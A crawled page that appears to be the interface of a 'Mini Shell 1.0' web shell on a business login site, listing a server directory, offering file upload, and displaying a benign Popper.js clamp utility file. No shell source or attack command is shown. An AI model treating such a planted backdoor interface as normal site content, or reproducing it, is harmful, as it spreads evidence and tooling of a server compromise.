HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/negocios.lapieza.do/node_modules/@popperjs/core/lib/utils/
Upload File :
Current File : /var/www/negocios.lapieza.do/node_modules/@popperjs/core/lib/utils/within.js.flow
// @flow
import { max as mathMax, min as mathMin } from './math';

export function within(min: number, value: number, max: number): number {
  return mathMax(min, mathMin(value, max));
}

export function withinMaxClamp(min: number, value: number, max: number) {
  const v = within(min, value, max);
  return v > max ? max : v;
}